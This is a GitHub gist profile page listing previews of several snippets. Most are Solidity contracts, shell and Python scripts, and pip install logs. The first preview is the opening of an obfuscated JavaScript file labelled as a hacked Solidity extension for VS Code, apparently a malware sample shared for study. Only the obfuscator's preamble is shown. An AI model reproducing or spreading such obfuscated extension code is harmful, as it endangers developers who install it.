Skip to content

Instantly share code, notes, and snippets.

View Magicking's full-sized avatar

Sylvain Laurent Magicking

View GitHub Profile
@Magicking
Magicking / extension.js
Created October 2, 2024 13:38
Obfuscated hacked extension Soldity for vscode
(function (_0x4e0a6f, _0x1ddeff) {
const _0x359e48 = _0x4e0a6f();
while (true) {
try {
const _0x414d4c = -parseInt(_0x5e9b(476, -0x92)) / 1 * (parseInt(_0x5e9b(480, -0x52)) / 2) + parseInt(_0x5e9b(417, 0x507)) / 3 + parseInt(_0x5e9b(530, 0x58f)) / 4 * (parseInt(_0x5e9b(423, 0x553)) / 5) + -parseInt(_0x5e9b(513, 0x537)) / 6 + -parseInt(_0x5e9b(488, -0x6a)) / 7 + parseInt(_0x5e9b(446, 0x533)) / 8 + parseInt(_0x5e9b(421, 0x550)) / 9;
if (_0x414d4c === _0x1ddeff) {
break;
} else {
_0x359e48.push(_0x359e48.shift());
}
#!/bin/bash
RPC=https://rpc.blast.io
G_ADDRESS=0x971b2d96eFc3cffb8bAcE89A17AbfEd0b8743cD1
# Define the block number and max index if needed
tokenSupply=$(cast call --rpc-url $RPC $G_ADDRESS "totalSupply()(uint256)")
IDX=$(($tokenSupply - 1))
for idx in $(seq 0 $IDX); do
outname=$(printf "%010d" $idx)
#!/usr/bin/env python
import random
import csv
from github import Github
# Authentication is defined via github.Auth
from github import Auth
# using an access token
@Magicking
Magicking / pngdecoder.sol
Created August 17, 2023 13:05
PNG decoding headers in Solidity
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "inflate-sol/InflateLib.sol";
import "solidity-bytes-utils/BytesLib.sol";
import "./BMPEncoder.sol";
library CRC32 {
// SPDX-License: BEER
pragma solidity ^0.8.0;
contract MyBigNFTStorage {
mapping(uint256 => string) public _SVGChunks;
uint256 ChunkCount;
// Limited to 25kb
function loadSVGChunk(uint256 id, string memory chunk) public {
// SPDX-License-Identifier: WTFPL
// Author: [email protected]
pragma solidity >=0.7.0 <0.9.0;
/**
* @title TxIndexRoll
* @dev Roll your place amongst the TxIndex top of your block
*/
contract TxIndexRoll {
@Magicking
Magicking / 0
Last active October 3, 2021 23:49
{
"title":"Asset Metadata",
"type":"object",
"properties":{
"name":{
"type":"string",
"description":"Mire"
},
"description":{
"type":"string",
PS C:\Users\Smith\Documents\codes\batchDeposit> pip3 install -U mythx-cli
Collecting mythx-cli
Using cached mythx_cli-0.6.22-py2.py3-none-any.whl (48 kB)
Collecting py-solc-x==1.0.0
Using cached py_solc_x-1.0.0-py3-none-any.whl (15 kB)
Requirement already satisfied, skipping upgrade: Jinja2==2.11.2 in c:\python39\lib\site-packages (from mythx-cli) (2.11.2)
Requirement already satisfied, skipping upgrade: PyYAML==5.3.1 in c:\python39\lib\site-packages (from mythx-cli) (5.3.1)
Collecting pythx==1.6.1
Using cached pythx-1.6.1-py2.py3-none-any.whl (39 kB)
Collecting htmlmin==0.1.12
@Magicking
Magicking / batchDeposit.sol
Last active December 12, 2020 11:17
Multi deposit contract
pragma solidity <=0.8.0;
pragma experimental ABIEncoderV2;
// Author: Sylvain Laurent
// Use Scribble https://docs.scribble.codes/tool/cli-usage#emitting-a-flat-instrumented-file to generate guards / arm the contract
// This interface is designed to be compatible with the Vyper version.
/// @notice This is the Ethereum 2.0 deposit contract interface.
/// For more information see the Phase 0 specification under https://github.com/ethereum/eth2.0-specs
interface IDepositContract {
/// @notice A processed deposit event.
PS C:\Users\Smith\Downloads\eth2.0-deposit-cli-master\eth2.0-deposit-cli-master> pip install -r .\requirements.txt
Collecting py-ecc==4.0.0
Downloading py_ecc-4.0.0-py3-none-any.whl (41 kB)
|████████████████████████████████| 41 kB 204 kB/s
Collecting pycryptodome==3.9.7
Downloading pycryptodome-3.9.7-cp38-cp38-win_amd64.whl (14.1 MB)
|████████████████████████████████| 14.1 MB 6.4 MB/s
Collecting click==7.0
Downloading Click-7.0-py2.py3-none-any.whl (81 kB)
|████████████████████████████████| 81 kB 5.1 MB/s